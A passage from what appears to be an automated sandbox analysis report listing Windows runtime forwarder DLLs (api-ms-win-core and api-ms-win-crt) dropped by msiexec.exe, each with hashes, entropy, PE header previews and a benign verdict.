SHA-512:	97C47B2E1BFD45B905F51A282683434ED784BFB334B908BF5A47285F90201A23817FF91E21EA0B9CA5F6EE6B69ACAC252EEC55D895F942A94EDD88C4BFD2DAFD
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....9.............!......................... ...............................0......k.....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.....9..........B...T...T........9..........d................9......................RSDS&.n....5..l....)....api-ms-win-core-processthreads-l1-1-1.pdb...........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.............9......................(...`...........-...l..........."...W...................N...................P...............F...q...............3...r...................................api-ms-win-core-processthreads-l1-1-1.dll.FlushInstr

C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-profile-l1-1-0.dll

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	17712
Entropy (8bit):	7.187691342157284
Encrypted:	false
SSDEEP:	192:w9WIghWGdUuDz7M123Ouo+Uggs/nGfe4pBjSXrw58h6Wh0txKdmVWQ4SW7QQtzko:w9WPhWYDz6i00GftpBjXPemD5l1z6hv
MD5:	FEE0926AA1BF00F2BEC9DA5DB7B2DE56
SHA1:	F5A4EB3D8AC8FB68AF716857629A43CD6BE63473
SHA-256:	8EB5270FA99069709C846DB38BE743A1A80A42AA1A88776131F79E1D07CC411C
SHA-512:	0958759A1C4A4126F80AA5CDD9DF0E18504198AEC6828C8CE8EB5F615AD33BF7EF0231B509ED6FD1304EEAB32878C5A649881901ABD26D05FD686F5EBEF2D1C3
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....&............!......................... ...............................0......0.....@.......................................... ..................0=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.....&.........;...T...T........&.........d................&.....................RSDS...O.""#.n....D:....api-ms-win-core-profile-l1-1-0.pdb..........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.....................&.....<...............(...0...8...w......._...........api-ms-win-core-profile-l1-1-0.dll.QueryPerformanceCounter.kernel32.QueryPerformanceCounter.QueryPerformanceFrequency.kernel32.QueryPerformanceFrequency....................

C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-rtlsupport-l1-1-0.dll

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	17720
Entropy (8bit):	7.19694878324007
Encrypted:	false
SSDEEP:	384:61G1WPhWksnhi00GftpBjEVXremWRlP55Jk:kGiYnhoiqVXreDT5Y
MD5:	FDBA0DB0A1652D86CD471EAA509E56EA
SHA1:	3197CB45787D47BAC80223E3E98851E48A122EFA
SHA-256:	2257FEA1E71F7058439B3727ED68EF048BD91DCACD64762EB5C64A9D49DF0B57
SHA-512:	E5056D2BD34DC74FC5F35EA7AA8189AAA86569904B0013A7830314AE0E2763E95483FABDCBA93F6418FB447A4A74AB0F07712ED23F2E1B840E47A099B1E68E18
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L......(...........!......................... ...............................0......}"....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.......(........>...T...T..........(........d..................(....................RSDS?.L.N.o.....=.......api-ms-win-core-rtlsupport-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02...................(....F...............(...4...@...~...........l.................api-ms-win-core-rtlsupport-l1-1-0.dll.RtlCaptureContext.ntdll.RtlCaptureContext.RtlCaptureStackBackTrace.ntdll.RtlCaptureStackBackTrace.RtlUnwind.ntdll.RtlUnwind.

C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-string-l1-1-0.dll

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.137724132900032
Encrypted:	false
SSDEEP:	384:xyMvRWPhWFs0i00GftpBjwCJdemnflUG+zI4:xyMvWWoibeTnn
MD5:	12CC7D8017023EF04EBDD28EF9558305
SHA1:	F859A66009D1CAAE88BF36B569B63E1FBDAE9493
SHA-256:	7670FDEDE524A485C13B11A7C878015E9B0D441B7D8EB15CA675AD6B9C9A7311
SHA-512:	F62303D98EA7D0DDBE78E4AB4DB31AC283C3A6F56DBE5E3640CBCF8C06353A37776BF914CFE57BBB77FC94CCFA48FAC06E74E27A4333FBDD112554C646838929
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....R............!......................... ...............................0.......\....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@......R.........:...T...T.........R.........d.................R.....................RSDS..D..a..1.f....7....api-ms-win-core-string-l1-1-0.pdb...........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02......................R.....x...............(...H...h...............)...O...x...........................>...i...........................api-ms-win-core-string-l1-1-0.dll.CompareStringEx.kernel32.CompareStringEx.CompareStringOrdinal.kernel32.Compare

C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-synch-l1-1-0.dll

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	20280
Entropy (8bit):	7.04640581473745
Encrypted:	false
SSDEEP:	384:5Xdv3V0dfpkXc0vVaHWPhWXEi00GftpBj9em+4lndanJ7o:5Xdv3VqpkXc0vVa8poivex
MD5:	71AF7ED2A72267AAAD8564524903CFF6
SHA1:	8A8437123DE5A22AB843ADC24A01AC06F48DB0D3
SHA-256:	5DD4CCD63E6ED07CA3987AB5634CA4207D69C47C2544DFEFC41935617652820F
SHA-512:	7EC2E0FEBC89263925C0352A2DE8CC13DA37172555C3AF9869F9DBB3D627DD1382D2ED3FDAD90594B3E3B0733F2D3CFDEC45BC713A4B7E85A09C164C3DFA3875
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L......2...........!......................... ...............................0............@.............................V............ ..................8=..............T............................................................................text...V........................... ..`.rsrc........ ......................@..@.......2........9...T...T..........2........d..................2....................RSDS...z..C...+Q_.....api-ms-win-core-synch-l1-1-0.pdb............T....rdata..T........rdata$zzzdbg.......V....edata... ..`....rsrc$01....` .......rsrc$02.......................2............)...)...(.......p.......1...c...................!...F...m...............$...X...........$...[.......................@...i...............!...Q.......................[...............7...........O...................

C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-synch-l1-2-0.dll

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.138910839042951
Encrypted:	false
SSDEEP:	384:JtZ3gWPhWFA0i00GftpBj4Z8wemFfYlP55t:j+oiVweb53
MD5:	0D1AA99ED8069BA73CFD74B0FDDC7B3A
SHA1:	BA1F5384072DF8AF5743F81FD02C98773B5ED147
SHA-256:	30D99CE1D732F6C9CF82671E1D9088AA94E720382066B79175E2D16778A3DAD1
SHA-512:	6B1A87B1C223B757E5A39486BE60F7DD2956BB505A235DF406BCF693C7DD440E1F6D65FFEF7FDE491371C682F4A8BB3FD4CE8D8E09A6992BB131ADDF11EF2BF9
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...XuY...........!......................... ...............................0......3.....@.............................v............ ..................8=..............T............................................................................text...v........................... ..`.rsrc........ ......................@..@....XuY........9...T...T.......XuY........d...............XuY....................RSDS.V..B...`..S3.....api-ms-win-core-synch-l1-2-0.pdb............T....rdata..T........rdata$zzzdbg.......v....edata... ..`....rsrc$01....` .......rsrc$02....................X*uY....................(...l...........R...................W...............&...b...............$...W.......6...w...............;...\|...............H...................A.....................................api-ms-win-core-synch-

C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-sysinfo-l1-1-0.dll

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19248
Entropy (8bit):	7.072555805949365
Encrypted:	false
SSDEEP:	384:2q25WPhWWsnhi00GftpBj1u6qXxem4l1z6hi:25+SnhoiG6IeA8
MD5:	19A40AF040BD7ADD901AA967600259D9
SHA1:	05B6322979B0B67526AE5CD6E820596CBE7393E4
SHA-256:	4B704B36E1672AE02E697EFD1BF46F11B42D776550BA34A90CD189F6C5C61F92
SHA-512:	5CC4D55350A808620A7E8A993A90E7D05B441DA24127A00B15F96AAE902E4538CA4FED5628D7072358E14681543FD750AD49877B75E790D201AB9BAFF6898C8D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....C=...........!......................... ...............................0............@.............................E............ ..................0=..............T............................................................................text...E........................... ..`.rsrc........ ......................@..@......C=........;...T...T.........C=........d.................C=....................RSDS....T.>eD.#\|.../....api-ms-win-core-sysinfo-l1-1-0.pdb..........T....rdata..T........rdata$zzzdbg.......E....edata... ..`....rsrc$01....` .......rsrc$02......................C=....................(...........:...i...............N...................7...s...............+...M...r.............../...'...V...............:...k...................X............... ...?...d..............."...................

C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-timezone-l1-1-0.dll

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18224
Entropy (8bit):	7.17450177544266
Encrypted:	false
SSDEEP:	384:SWPhWK3di00GftpBjH35Gvem2Al1z6hIu:77NoiOve7eu
MD5:	BABF80608FD68A09656871EC8597296C
SHA1:	33952578924B0376CA4AE6A10B8D4ED749D10688
SHA-256:	24C9AA0B70E557A49DAC159C825A013A71A190DF5E7A837BFA047A06BBA59ECA
SHA-512:	3FFFFD90800DE708D62978CA7B50FE9CE1E47839CDA11ED9E7723ACEC7AB5829FA901595868E4AB029CDFB12137CF8ECD7B685953330D0900F741C894B88257B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....Y.x...........!......................... ...............................0......}3....@.......................................... ..................0=..............T............................................................................text............................... ..`.rsrc........ ......................@..@.....Y.x........<...T...T........Y.x........d................Y.x....................RSDS.^.b. .t.H.a.......api-ms-win-core-timezone-l1-1-0.pdb.........T....rdata..T........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02.....................Y.x....................(...L...p...........5...s...........+...i...................U...............I.........................api-ms-win-core-timezone-l1-1-0.dll.FileTimeToSystemTime.kernel32.FileTimeToSystemTime.GetDynamicTimeZ

C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-core-util-l1-1-0.dll

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18232
Entropy (8bit):	7.1007227686954275
Encrypted:	false
SSDEEP:	192:pePWIghWG4U9wluZo123Ouo+Uggs/nGfe4pBjSbKT8wuxWh0txKdmVWQ4CWnFnwQ:pYWPhWFS0i00GftpBj7DudemJlP552
MD5:	0F079489ABD2B16751CEB7447512A70D
SHA1:	679DD712ED1C46FBD9BC8615598DA585D94D5D87
SHA-256:	F7D450A0F59151BCEFB98D20FCAE35F76029DF57138002DB5651D1B6A33ADC86
SHA-512:	92D64299EBDE83A4D7BE36F07F65DD868DA2765EB3B39F5128321AFF66ABD66171C7542E06272CB958901D403CCF69ED716259E0556EE983D2973FAA03C55D3E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....f............!......................... ...............................0......`k....@.............................9............ ..................8=..............T............................................................................text...)........................... ..`.rsrc........ ......................@..@......f.........8...T...T.........f.........d.................f.....................RSDS*...$.L.Rm..l.....api-ms-win-core-util-l1-1-0.pdb.........T....rdata..T........rdata$zzzdbg.......9....edata... ..`....rsrc$01....` .......rsrc$02..........f.....J...................,...@...o...................j...}.........................api-ms-win-core-util-l1-1-0.dll.Beep.kernel32.Beep.DecodePointer.kernel32.DecodePointer.DecodeSystemPointer.kernel32.DecodeSystemPointer.EncodePointer.kernel3

C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-crt-conio-l1-1-0.dll

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19256
Entropy (8bit):	7.088693688879585
Encrypted:	false
SSDEEP:	384:8WPhWz4Ri00GftpBjDb7bemHlndanJ7DW:Fm0oiV7beV
MD5:	6EA692F862BDEB446E649E4B2893E36F
SHA1:	84FCEAE03D28FF1907048ACEE7EAE7E45BAAF2BD
SHA-256:	9CA21763C528584BDB4EFEBE914FAAF792C9D7360677C87E93BD7BA7BB4367F2
SHA-512:	9661C135F50000E0018B3E5C119515CFE977B2F5F88B0F5715E29DF10517B196C81694D074398C99A572A971EC843B3676D6A831714AB632645ED25959D5E3E7
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.................!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@v..............................8...d...d..................d......................................RSDS....<....2..u....api-ms-win-crt-conio-l1-1-0.pdb.........d....rdata..d........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02...............T...............(.......................>...w.........../...W...p...........................,...L...l.......................,...L...m...............t...........'...^...............P...g...........................$...=...

C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-crt-convert-l1-1-0.dll

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	22328
Entropy (8bit):	6.929204936143068
Encrypted:	false
SSDEEP:	384:EuydWPhW7snhi00GftpBjd6t/emJlDbN:3tnhoi6t/eAp
MD5:	72E28C902CD947F9A3425B19AC5A64BD
SHA1:	9B97F7A43D43CB0F1B87FC75FEF7D9EEEA11E6F7
SHA-256:	3CC1377D495260C380E8D225E5EE889CBB2ED22E79862D4278CFA898E58E44D1
SHA-512:	58AB6FEDCE2F8EE0970894273886CB20B10D92979B21CDA97AE0C41D0676CC0CD90691C58B223BCE5F338E0718D1716E6CE59A106901FE9706F85C3ACF7855FF
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....NE............!.........................0...............................@............@..........................................0..................8=..............T............................................................................text............................... ..`.rsrc........0......................@..@v....................NE.........:...d...d........NE.........d................NE.....................RSDS..e.7P.g^j..[....api-ms-win-crt-convert-l1-1-0.pdb...........d....rdata..d........rdata$zzzdbg............edata...0..`....rsrc$01....`0.......rsrc$02.....................NE.............z...z...8... .......(...C...^...y...........................1...N...k...............................*...E...`...y...............................5...R...o.......................,...M...n...........

C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-crt-environment-l1-1-0.dll

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18736
Entropy (8bit):	7.078409479204304
Encrypted:	false
SSDEEP:	192:bWIghWGd4edXe123Ouo+Uggs/nGfe4pBjSXXmv5Wh0txKdmVWQ4SWEApkqnajPBZ:bWPhWqXYi00GftpBjBemPl1z6h2
MD5:	AC290DAD7CB4CA2D93516580452EDA1C
SHA1:	FA949453557D0049D723F9615E4F390010520EDA
SHA-256:	C0D75D1887C32A1B1006B3CFFC29DF84A0D73C435CDCB404B6964BE176A61382
SHA-512:	B5E2B9F5A9DD8A482169C7FC05F018AD8FE6AE27CB6540E67679272698BFCA24B2CA5A377FA61897F328B3DEAC10237CAFBD73BC965BF9055765923ABA9478F8
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....jU............!......................... ...............................0......G.....@............................."............ ..................0=..............T............................................................................text...2........................... ..`.rsrc........ ......................@..@v....................jU.........>...d...d........jU.........d................jU.....................RSDSu..1.N....R.s,"\....api-ms-win-crt-environment-l1-1-0.pdb...........d....rdata..d........rdata$zzzdbg......."....edata... ..`....rsrc$01....` .......rsrc$02.................jU.....................8...............C...d...........................3...O...l....................... .......5...Z...w.......................)...F...a...........................................................

C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-crt-filesystem-l1-1-0.dll

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	20280
Entropy (8bit):	7.085387497246545
Encrypted:	false
SSDEEP:	384:sq6nWm5C1WPhWFK0i00GftpBjB1UemKklUG+zIOd/:x6nWm5CiooiKeZnbd/
MD5:	AEC2268601470050E62CB8066DD41A59
SHA1:	363ED259905442C4E3B89901BFD8A43B96BF25E4
SHA-256:	7633774EFFE7C0ADD6752FFE90104D633FC8262C87871D096C2FC07C20018ED2
SHA-512:	0C14D160BFA3AC52C35FF2F2813B85F8212C5F3AFBCFE71A60CCC2B9E61E51736F0BF37CA1F9975B28968790EA62ED5924FAE4654182F67114BD20D8466C4B8F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L......h...........!......................... ...............................0......I.....@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@v......................h........=...d...d..........h........d..................h....................RSDS.....a.'..G...A.....api-ms-win-crt-filesystem-l1-1-0.pdb............d....rdata..d........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02...................h............A...A...8...<...@...........$...=...V...q...................)...M...q......................./...O...o...........................7...X...v...........................6...U...r.......................

C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-crt-heap-l1-1-0.dll

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19256
Entropy (8bit):	7.060393359865728
Encrypted:	false
SSDEEP:	192:+Y3vY17aFBR4WIghWG4U9CedXe123Ouo+Uggs/nGfe4pBjSbGGAPWh0txKdmVWQC:+Y3e9WPhWFsXYi00GftpBjfemnlP55s
MD5:	93D3DA06BF894F4FA21007BEE06B5E7D
SHA1:	1E47230A7EBCFAF643087A1929A385E0D554AD15
SHA-256:	F5CF623BA14B017AF4AEC6C15EEE446C647AB6D2A5DEE9D6975ADC69994A113D
SHA-512:	72BD6D46A464DE74A8DAC4C346C52D068116910587B1C7B97978DF888925216958CE77BE1AE049C3DCCF5BF3FFFB21BC41A0AC329622BC9BBC190DF63ABB25C6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...J.o ...........!......................... ...............................0............@.......................................... ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@v...................J.o ........7...d...d.......J.o ........d...............J.o ....................RSDSq.........pkQX[....api-ms-win-crt-heap-l1-1-0.pdb..........d....rdata..d........rdata$zzzdbg............edata... ..`....rsrc$01....` .......rsrc$02........J.o ....6...............(...........c...................S.......................1...V...y.......................<...c...........................U...z...............:...u...................&...E...p.......................,...U...

C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-crt-locale-l1-1-0.dll

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18744
Entropy (8bit):	7.13172731865352
Encrypted:	false
SSDEEP:	192:fiWIghWGZirX+4z123Ouo+Uggs/nGfe4pBjS/RFcpOWh0txKdmVWQ4GWs8ylDikh:aWPhWjO4Ri00GftpBjZOemSXlvNQ0
MD5:	A2F2258C32E3BA9ABF9E9E38EF7DA8C9
SHA1:	116846CA871114B7C54148AB2D968F364DA6142F
SHA-256:	565A2EEC5449EEEED68B430F2E9B92507F979174F9C9A71D0C36D58B96051C33
SHA-512:	E98CBC8D958E604EFFA614A3964B3D66B6FC646BDCA9AA679EA5E4EB92EC0497B91485A40742F3471F4FF10DE83122331699EDC56A50F06AE86F21FAD70953FE
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...\|..O...........!......................... ...............................0......E*....@.............................e............ ..................8=..............T............................................................................text...u........................... ..`.rsrc........ ......................@..@v...................\|..O........9...d...d.......\|..O........d...............\|..O....................RSDS.X...7.......$k....api-ms-win-crt-locale-l1-1-0.pdb............d....rdata..d........rdata$zzzdbg.......e....edata... ..`....rsrc$01....` .......rsrc$02....................\|..O....................8...........5...h...............E...................$...N...t...................$...D...b...!...R............... ...s...................:...k.......................9...X...................

C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-crt-math-l1-1-0.dll

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	28984
Entropy (8bit):	6.6686462438397
Encrypted:	false
SSDEEP:	384:7OTEmbM4Oe5grykfIgTmLyWPhW30i00GftpBjAKemXlDbNl:dEMq5grxfInbRoiNeSp
MD5:	8B0BA750E7B15300482CE6C961A932F0
SHA1:	71A2F5D76D23E48CEF8F258EAAD63E586CFC0E19
SHA-256:	BECE7BAB83A5D0EC5C35F0841CBBF413E01AC878550FBDB34816ED55185DCFED
SHA-512:	FB646CDCDB462A347ED843312418F037F3212B2481F3897A16C22446824149EE96EB4A4B47A903CA27B1F4D7A352605D4930DF73092C380E3D4D77CE4E972C5A
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L..................!.........................@...............................P............@..............................+...........@...............4..8=..............T............................................................................text....,.......................... ..`.rsrc........@.......0..............@..@v...............................7...d...d...................d.......................................RSDSB...=........,....api-ms-win-crt-math-l1-1-0.pdb..........d....rdata..d........rdata$zzzdbg........+...edata...@..`....rsrc$01....`@.......rsrc$02................l.......:...:...(...................................(...@...X...q...............................4...M...g........................ ..= ..i ... ... ... ...!..E!..o!...!...!...!..."..F"..s"..."..."..."...#..E#..o#...#...#..

C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-crt-multibyte-l1-1-0.dll

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	26424
Entropy (8bit):	6.712286643697659
Encrypted:	false
SSDEEP:	384:kDy+Kr6aLPmIHJI6/CpG3t2G3t4odXL5WPhWFY0i00GftpBjbnMxem8hzlmTMiLV:kDZKrZPmIHJI64GoiZMxe0V
MD5:	35FC66BD813D0F126883E695664E7B83
SHA1:	2FD63C18CC5DC4DEFC7EA82F421050E668F68548
SHA-256:	66ABF3A1147751C95689F5BC6A259E55281EC3D06D3332DD0BA464EFFA716735
SHA-512:	65F8397DE5C48D3DF8AD79BAF46C1D3A0761F727E918AE63612EA37D96ADF16CC76D70D454A599F37F9BA9B4E2E38EBC845DF4C74FC1E1131720FD0DCB881431
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L....u'............!.....$...................@...............................P............@.............................. ...........@...............*..8=..............T............................................................................text....".......$.................. ..`.rsrc........@.......&..............@..@v....................u'.........<...d...d........u'.........d................u'.....................RSDS7.%..5..+...+.....api-ms-win-crt-multibyte-l1-1-0.pdb.........d....rdata..d........rdata$zzzdbg........ ...edata...@..`....rsrc$01....`@.......rsrc$02.....................u'.....................8...X...x...;...`.......................1...T...w...................'...L...q.......................B...e.......................7...Z...}...................+...L...m.......................

C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-crt-private-l1-1-0.dll

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	73016
Entropy (8bit):	5.838702055399663
Encrypted:	false
SSDEEP:	1536:VAHEGlVDe5c4bFE2Jy2cvxXWpD9d3334BkZnkPFZo6kt:Vc7De5c4bFE2Jy2cvxXWpD9d3334BkZj
MD5:	9910A1BFDC41C5B39F6AF37F0A22AACD
SHA1:	47FA76778556F34A5E7910C816C78835109E4050
SHA-256:	65DED8D2CE159B2F5569F55B2CAF0E2C90F3694BD88C89DE790A15A49D8386B9
SHA-512:	A9788D0F8B3F61235EF4740724B4A0D8C0D3CF51F851C367CC9779AB07F208864A7F1B4A44255E0DE8E030D84B63B1BDB58F12C8C20455FF6A55EF6207B31A91
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L.....^1...........!................................................................R.....@.............................................................8=..............T............................................................................text............................... ..`.rsrc...............................@..@v.....................^1........:...d...d.........^1........d.................^1....................RSDS.J..w/.8..bu..3.....api-ms-win-crt-private-l1-1-0.pdb...........d....rdata..d........rdata$zzzdbg............edata......`....rsrc$01....`........rsrc$02......................^1.....>..............8...h#...5...>...?..7?.._?...?...?...?...@..V@...@...@...@..+A..\A...A...A...A...B..LB...B...B...C..HC...C...C...C...C...D..HD...D...D...E..eE...E...E...F..1F..gF...F...F...G..BG..uG...G..

C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-crt-process-l1-1-0.dll

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19256
Entropy (8bit):	7.076072254895036
Encrypted:	false
SSDEEP:	192:aRQqjd7dWIghWG4U9kuDz7M123Ouo+Uggs/nGfe4pBjSbAURWh0txKdmVWQ4CW+6:aKcWPhWFkDz6i00GftpBjYemZlUG+zIU
MD5:	8D02DD4C29BD490E672D271700511371
SHA1:	F3035A756E2E963764912C6B432E74615AE07011
SHA-256:	C03124BA691B187917BA79078C66E12CBF5387A3741203070BA23980AA471E8B
SHA-512:	D44EF51D3AAF42681659FFFFF4DD1A1957EAF4B8AB7BB798704102555DA127B9D7228580DCED4E0FC98C5F4026B1BAB242808E72A76E09726B0AF839E384C3B0
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........m....e...e...e..ne...e..na...e..n....e..ng...e.Rich..e.PE..L...l.h............!......................... ...............................0.......U....@.............................x............ ..................8=..............T............................................................................text............................... ..`.rsrc........ ......................@..@v...................l.h.........:...d...d.......l.h.........d...............l.h.....................RSDSZ\.qM..I....3.....api-ms-win-crt-process-l1-1-0.pdb...........d....rdata..d........rdata$zzzdbg.......x....edata... ..`....rsrc$01....` .......rsrc$02....................l.h.............$...$...8.......X...................&...@...Y...q...........................*...E..._...z.......................!...<...V...q...........................9...V...t.......................7...R...i...

C:\Users\user\AppData\Local\Temp\B388C266\api-ms-win-crt-runtime-l1-1-0.dll

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	22840
Entropy (8bit):	6.942029615075195
Encrypted:	false
SSDEEP:	384:7b7hrKwWPhWFlsnhi00GftpBj+6em90lmTMiLzrF7:7bNrKxZnhoig6eQN7
MD5:	41A348F9BEDC8681FB30FA78E45EDB24
SHA1:	66E76C0574A549F293323DD6F863A8A5B54F3F9B
SHA-256:	C9BBC07A033BAB6A828ECC30648B501121586F6F53346B1CD0649D7B648EA60B
